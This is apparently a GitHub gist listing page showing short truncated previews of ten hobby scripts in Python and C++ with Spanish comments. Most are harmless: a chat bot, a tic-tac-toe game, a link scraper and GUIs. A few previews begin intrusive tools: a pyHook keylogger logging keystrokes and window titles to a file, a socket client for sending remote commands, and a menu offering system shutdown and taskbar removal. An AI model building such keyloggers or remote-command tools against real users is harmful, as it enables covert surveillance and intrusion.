This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import ch | |
import time | |
import random | |
import re,os | |
import subprocess | |
class TestBot(ch.RoomManager): | |
def onConnect(self, room): | |
print("Connected") | |
cerrar=False |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# triqui version 1.0 | |
import os | |
import time | |
# comprobar si es linux para el comando clear o cls windows | |
if os.name == "posix": | |
clear = "clear" | |
else: | |
clear = "cls" | |
os.system("title by daryo") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
#include <winable.h> | |
HINSTANCE miinstance; | |
int bloqueo=0; | |
/* Declare Windows procedure */ | |
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM); | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: iso-8859-15 -*- | |
import pythoncom, pyHook, time | |
n = "ventana" | |
def OnKeyboardEvent(event): | |
global n | |
teclas = event.Key | |
ventana = event.WindowName | |
tiempo=time.asctime() | |
nm = open("write.txt","a") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import re,urllib2,os | |
#lee la pagina y la captura en una variable | |
pagin=raw_input("pagina a extraer enlaces>") | |
if pagin.count("http://") == 0: | |
pagin= "http://" + pagin | |
page=urllib2.urlopen(pagin) | |
leer = page.read() | |
page.close() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import wx | |
class batch(wx.Frame): | |
def __init__(self, parent, id, title): | |
wx.Frame.__init__(self, parent, id, title) | |
self.parent = parent | |
self.initialize() | |
def initialize(self): | |
grilla = grilla = wx.GridBagSizer() | |
opciones = ["apagar el sistema", "mensajes", "quitar la barra de inicio"] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
#include <cstdio> | |
#include <cstring> | |
#include <iostream> | |
int MN_MENSAJE=1024; | |
int MN_SALIR=1025; | |
HINSTANCE miinstance; | |
/* Declare Windows procedure */ | |
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import time | |
print """ | |
-------------------- | |
| cliente | | |
-------------------- | |
instrucciones: | |
1. se recomienda no enviar comandos que se redireccionen por ejemplo: echo h > hola. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/env/python | |
import Tkinter,urllib2,re,os,subprocess | |
from Tkinter import * | |
class program: | |
def __init__(self,master): | |
frame=Frame(master) | |
frame.grid() | |
Label(master, text="Titulo" , foreground="Red").grid(row=0) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
#include <mmsystem.h> | |
#include <iostream> | |
int main(int argc, char *argv[]) | |
{ | |
int x; | |
int y; | |
mciSendString("play na.wav",0,0,0); |
OlderNewer